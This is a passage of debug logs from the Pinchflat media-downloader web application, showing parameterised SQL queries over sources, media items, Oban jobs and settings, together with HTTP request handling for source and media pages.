s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:04:31.884 [debug] QUERY OK source="media_profiles" db=0.1ms idle=308.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:33.420 [debug] QUERY OK source="tasks" db=1535.7ms idle=308.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [25, "executing", "available", "scheduled", "retryable"] 17:04:33.420 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1536.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [3800087, 3668081] 17:04:33.420 [debug] QUERY OK source="settings" db=0.0ms idle=1025.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:33.420 [debug] QUERY OK source="settings" db=0.0ms idle=542.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:33.421 [debug] QUERY OK source="settings" db=0.0ms idle=25.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:33.421 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:04:33.422 [debug] QUERY OK source="media_items" db=0.5ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:04:33.423 [debug] QUERY OK source="media_items" db=0.5ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [25, 10, 0] 17:04:33.423 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:04:33.423 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [25] 17:04:33.425 [debug] QUERY OK source="media_items" db=1.7ms idle=1.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [25, 10, 0] 17:04:33.426 [debug] QUERY OK source="sources" db=0.0ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:04:33.426 [debug] QUERY OK source="media_items" db=0.4ms idle=3.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [25] 17:04:33.427 [debug] QUERY OK source="media_items" db=1.0ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [25, 10, 0] 17:04:33.428 [info] Sent 200 in 1545ms 17:04:53.358 [info] GET /sources/37/media/1554715 17:04:53.358 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1554715", "source_id" => "37"} Pipelines: [:browser] 17:04:53.358 [debug] QUERY OK source="media_items" db=0.1ms idle=941.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1554715] 17:04:53.359 [debug] QUERY OK source="sources" db=0.1ms idle=480.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:04:53.359 [debug] QUERY OK source="tasks" db=0.1ms idle=480.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1554715] 17:04:53.359 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=480.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [3646544, 3702400, 3766469] 17:04:53.359 [debug] QUERY OK source="settings" db=0.0ms idle=481.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.359 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.360 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.360 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:53.361 [info] Sent 200 in 2ms 17:04:53.624 [info] GET /sources/1/media/1551175 17:04:53.625 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1551175", "source_id" => "1"} Pipelines: [:browser] 17:04:53.625 [debug] QUERY OK source="media_items" db=0.1ms idle=265.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1551175] 17:04:53.625 [debug] QUERY OK source="sources" db=0.1ms idle=265.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:04:53.625 [debug] QUERY OK source="tasks" db=0.1ms idle=265.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1551175] 17:04:53.625 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=265.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [3644996, 3704793, 3769280] 17:04:53.626 [debug] QUERY OK source="settings" db=0.0ms idle=208.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.626 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.626 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:53.627 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:53.627 [info] Sent 200 in 2ms 17:04:58.948 [info] {"source":"oban","duration":7658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:59.095 [info] GET /sources/1/media/1551181 17:04:59.095 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1551181", "source_id" => "1"} Pipelines: [:browser] 17:04:59.096 [debug] QUERY OK source="media_items" db=0.1ms idle=217.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1551181] 17:04:59.096 [debug] QUERY OK source="tasks" db=0.1ms idle=217.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1551181] 17:04:59.096 [debug] QUERY OK source="sources" db=0.1ms idle=217.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:04:59.096 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=218.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [3650548, 3713761, 3779489] 17:04:59.097 [debug] QUERY OK source="settings" db=0.0ms idle=148.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.097 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.097 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.097 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:59.098 [info] Sent 200 in 3ms 17:04:59.469 [info] GET /sources/1/media/1551184 17:04:59.469 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1551184", "source_id" => "1"} Pipelines: [:browser] 17:04:59.470 [debug] QUERY OK source="media_items" db=0.1ms idle=372.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1551184] 17:04:59.470 [debug] QUERY OK source="tasks" db=0.1ms idle=373.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1551184] 17:04:59.470 [debug] QUERY OK source="sources" db=0.1ms idle=372.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:04:59.470 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=372.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?)) [3647442, 3712115, 3779806] 17:04:59.471 [debug] QUERY OK source="settings" db=0.0ms idle=47.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.471 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.471 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:04:59.471 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:04:59.472 [info] Sent 200 in 2ms 17:05:00.055 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:05:10.423 [info] GET /sources/36 17:05:10.423 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "36"} Pipelines: [:browser] 17:05:10.423 [debug] QUERY OK source="sources" db=0.1ms idle=1545.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:05:10.424 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1545.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:05:10.812 [info] GET /sources/37 17:05:10.812 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 